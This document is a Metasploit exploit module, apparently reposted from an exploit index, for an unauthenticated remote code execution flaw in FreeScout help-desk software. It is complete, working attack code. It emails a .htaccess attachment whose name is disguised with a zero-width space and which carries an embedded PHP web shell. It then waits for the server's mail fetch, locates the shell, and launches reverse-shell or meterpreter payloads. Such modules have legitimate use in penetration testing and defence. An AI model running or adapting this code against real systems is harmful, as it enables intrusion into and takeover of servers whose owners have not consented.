Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-FREESCOUT_HTACCESS_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SMTPDeliver
prepend Msf::Exploit::Remote::AutoCheck
ZWSP = "\u200B".encode('UTF-8').freeze
HTACCESS_BODY = <<~HTACCESS.freeze
<Files ".htaccess">
Require all granted
SetHandler application/x-httpd-php
</Files>
HTACCESS
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreeScout Unauthenticated RCE via ZWSP .htaccess Bypass',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability
in FreeScout <= 1.8.206 (CVE-2026-28289). The sanitizeUploadedFileName()
function checks for dot-prefixed filenames before stripping Unicode format
characters (ZWSP U+200B), allowing .htaccess upload via email attachment.
A crafted email is sent via SMTP to a FreeScout mailbox. When fetched by
the IMAP/POP3 cron (typically every 60s), the ZWSP is stripped and the
attachment is stored as .htaccess. The file uses SetHandler to make itself
executable as PHP, achieving code execution when requested via HTTP.
Requires a valid mailbox email address and web-accessible attachment
storage (storage:link pointing to storage/app/).
},
'Author' => [
'offensiveee', # CVE-2026-27636 discovery
'Nir Zadok (nirzadokox) <OX Security>', # CVE-2026-28289 discovery
'Moses Bhardwaj (MosesOX) <OX Security>', # CVE-2026-28289 discovery
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-28289'],
['CVE', '2026-27636'],
['GHSA', '5gpc-65p8-ffwp', 'freescout-help-desk/freescout'],
['GHSA', 'mw88-x7j3-74vc', 'freescout-help-desk/freescout'],
['URL', 'https://www.ox.security/blog/freescout-rce-cve-2026-28289/'],
['URL', 'https://www.ox.security/blog/freescout-rce-cve-2026-27636/']
],
'Targets' => [
[
'PHP In-Memory', {
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :cmd
# tested with cmd/unix/reverse_bash
}
],
[
'Linux Dropper', {
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper
# tested with linux/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell', {
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :cmd
# tested with cmd/windows/reverse_powershell
}
],
[
'Windows Dropper', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper
# tested with windows/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2026-03-01',
'Notes' => {
'AKA' => ['Mail2Shell'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to FreeScout', '/']),
OptAddress.new('HTTPHOST', [true, 'FreeScout web server address']),
OptPort.new('HTTPPORT', [true, 'FreeScout web server port', 80])
])
# Override SMTPDeliver's SUBJECT with a default (random if blank)
deregister_options('SUBJECT')
register_advanced_options([
OptString.new('SUBJECT', [false, 'Email subject (random if blank)', '']),
OptInt.new('FETCH_WAIT', [true, 'Seconds to wait for cron fetch cycle', 60]),
OptInt.new('DIR_COUNTER', [true, 'Max attachment counter per directory', 3])
])
end
def check
res = http_send('uri' => normalize_uri(target_uri.path, 'login'))
return CheckCode::Unknown('Could not connect to the target.') unless res
return CheckCode::Safe('Target does not appear to be FreeScout.') unless res.body.to_s.match?(/[Ff]ree[Ss]cout/)
CheckCode::Detected('FreeScout detected. Version cannot be determined remotely.')
end
def exploit
marker = Rex::Text.rand_text_alphanumeric(16)
@param = Rex::Text.rand_text_alpha(4)
@cleanup_param = Rex::Text.rand_text_alpha(4)
print_status("Sending exploit email to #{datastore['MAILTO']} via #{Rex::Socket.to_authority(rhost, rport)}")
send_message(build_email(marker))
print_good('Exploit email sent')
wait_for_cron
@shell_uri = find_shell(marker)
fail_with(Failure::NotFound, 'Shell not found after two cron cycles.') unless @shell_uri
print_good("Shell at #{@shell_uri}")
case target['Type']
when :php then http_send('method' => 'POST', 'uri' => @shell_uri, 'timeout' => 1)
when :cmd then execute_command(payload.encoded)
when :dropper then execute_cmdstager(background: true)
end
end
def cleanup
super
return unless @shell_uri
http_send(
'method' => 'POST',
'uri' => @shell_uri,
'vars_post' => { @cleanup_param => '1' },
'timeout' => 5
)
end
# The marker is embedded in the .htaccess so we can identify ours among
# pre-existing ones from prior exploits and avoid triggering the wrong shell.
def build_email(marker)
gate = "if($_SERVER['REQUEST_METHOD']!=='POST'){die();}if(isset($_POST['#{@cleanup_param}'])){@unlink(__FILE__);die();}"
if target['Type'] == :php
exec = payload.encoded
else
vars = Rex::RandomIdentifier::Generator.new(language: :php)
preamble = php_preamble(vars_generator: vars).gsub(/\s*\n\s*/, '')
decode = "#{vars[:cmd_varname]}=base64_decode($_POST[\"#{@param}\"]);"
sysblock = php_system_block(vars_generator: vars).gsub(/\s*\n\s*/, '')
exec = preamble + decode + sysblock
end
php_code = gate + exec
mime = Rex::MIME::Message.new
mime.mime_defaults
mime.header.set('Subject', datastore['SUBJECT'].present? ? datastore['SUBJECT'] : Rex::Text.rand_text_alpha(8..16))
mime.header.set('From', datastore['MAILFROM'])
mime.header.set('To', datastore['MAILTO'])
mime.header.set('Message-ID', "<#{Rex::Text.rand_text_alphanumeric(24)}@#{Rex::Text.rand_text_alpha(8)}>")
mime.add_part(Rex::Text.rand_text_alpha(20..60), 'text/plain; charset=us-ascii', 'quoted-printable')
raw = "#{HTACCESS_BODY}# #{marker} <?php #{php_code} ?>\n"
mime.add_part([raw].pack('m'), 'application/octet-stream', 'base64', "attachment; filename=\"#{ZWSP}.htaccess\"")
mime.to_s
end
def wait_for_cron
fetch = datastore['FETCH_WAIT']
wait = fetch + 10
res = http_send('uri' => normalize_uri(target_uri.path))
if res&.headers&.[]('Date')
elapsed = Time.parse(res.headers['Date']).to_i % fetch
wait = (fetch - elapsed) + 10
end
print_status("Waiting #{wait}s for next cron fetch cycle...")
Rex.sleep(wait)
end
def find_shell(marker)
uri = scan_paths(marker)
return uri if uri
retry_wait = datastore['FETCH_WAIT'] + 5
print_status("Not found yet, waiting one more cron cycle (#{retry_wait}s)...")
Rex.sleep(retry_wait)
scan_paths(marker)
end
# FreeScout stores attachments in /storage/attachment/<d1>/<d2>/<counter>/ where
# d1 and d2 are single digits (0-9) extracted from the MD5 hash of the attachment ID.
# We walk the tree using redirect responses to detect existing directories, then
# check each .htaccess for our marker to find the one we uploaded.
def scan_paths(marker)
base = normalize_uri(target_uri.path, 'storage', 'attachment')
digits = ('0'..'9')
dirs = digits.select { |d| dir_exists?(base, d) }
pairs = dirs.flat_map { |d1| digits.select { |d2| dir_exists?("#{base}/#{d1}", d2) }.map { |d2| [d1, d2] } }
paths = pairs.flat_map { |d1, d2| (1..datastore['DIR_COUNTER']).map { |c| normalize_uri(base, d1, d2, c.to_s, '.htaccess') } }
paths.each do |uri|
res = http_send('uri' => uri)
return uri if res&.code == 200 && res.body.to_s.include?(marker)
end
nil
end
def dir_exists?(parent, child)
res = http_send('uri' => "#{parent}/#{child}")
res&.redirect?
end
def execute_command(cmd, _opts = {})
http_send(
'method' => 'POST',
'uri' => @shell_uri,
'vars_post' => { @param => Rex::Text.encode_base64(cmd) },
'timeout' => 1
)
end
# Swap RHOST/RPORT to HTTPHOST/HTTPPORT then call HttpClient's connect via
# bind_call to bypass SMTPDeliver's connect override in the MRO.
# This preserves full HttpClient features (SSL, proxies, basic auth, vhost).
# SSL is inherited from HttpClient's datastore option.
def http_send(params = {})
saved = [datastore['RHOST'], datastore['RPORT']]
datastore['RHOST'] = datastore['HTTPHOST']
datastore['RPORT'] = datastore['HTTPPORT']
timeout = params.delete('timeout') || -1
cli = Msf::Exploit::Remote::HttpClient.instance_method(:connect).bind_call(self, params)
res = cli.send_recv(cli.request_cgi(params), timeout)
cli.close
res
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED
nil
ensure
datastore['RHOST'], datastore['RPORT'] = saved
end
end